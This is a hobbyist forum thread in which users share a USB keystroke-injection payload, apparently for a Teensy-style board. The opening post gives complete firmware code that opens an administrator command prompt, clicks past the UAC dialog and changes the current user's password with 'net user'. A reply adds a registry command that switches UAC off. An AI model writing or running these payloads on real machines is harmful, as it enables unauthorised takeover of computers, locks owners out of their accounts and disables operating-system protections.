benownzu93 Posted May 1, 2010 Posted May 1, 2010 Ok it is a bit basic I know but this is what i came up with. I have started cmd form the start menu so that it can be run as admin. i searches for cmd then sends ctrl+shift+enter to run as admin. after that it sends left and enter to accept the UAC Box. after this i changes the password using the net user command. it works :D bit slow need to sort out the timings also if someone know how to run cmd as admin for a run box could you please tell me void setup() { delay(7000); cmd(); delay(4000); uac(); delay(1000); Keyboard.print("net user %username% *"); enter(); delay(100); Keyboard.print("lamepassword"); enter(); delay(100); Keyboard.print("lamepassword"); enter(); delay(100); Keyboard.print("exit"); enter(); } void loop() { digitalWrite(PIN_D6, LOW); // LED on delay(random(1000)); // Slow blink digitalWrite(PIN_D6, HIGH); // LED off delay(random(1000)); } void cmd(){ Keyboard.set_modifier(MODIFIERKEY_GUI); Keyboard.send_now(); Keyboard.set_modifier(0); Keyboard.send_now(); Keyboard.print("cmd"); delay(700); Keyboard.set_modifier(MODIFIERKEY_CTRL | MODIFIERKEY_SHIFT); Keyboard.set_key1(KEY_ENTER); Keyboard.send_now(); Keyboard.set_modifier(0); Keyboard.set_key1(0); Keyboard.send_now(); delay(100); } void uac(){ Keyboard.set_key1(KEY_LEFT); Keyboard.send_now(); Keyboard.set_key1(0); Keyboard.send_now(); enter(); } void enter(){ Keyboard.set_key1(KEY_ENTER); Keyboard.send_now(); Keyboard.set_key1(0); Keyboard.send_now(); } Quote
Sl45h3R Posted May 1, 2010 Posted May 1, 2010 CommandAtRunPrompt("C:\Windows\System32\cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f"); uac(); When UAC is disabled, cmd will run as admin. At least on my pc. Quote
benownzu93 Posted May 2, 2010 Author Posted May 2, 2010 That's quite cool, I will try it later off to bed soon I think. @psychosis what system are you using? Quote
Deevd Posted May 30, 2010 Posted May 30, 2010 CommandAtRunPrompt("C:\Windows\System32\cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f"); uac(); When UAC is disabled, cmd will run as admin. At least on my pc. To do this you have to be running cmd.exe as Administrator... else you'll get "Error: access denied" Quote
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.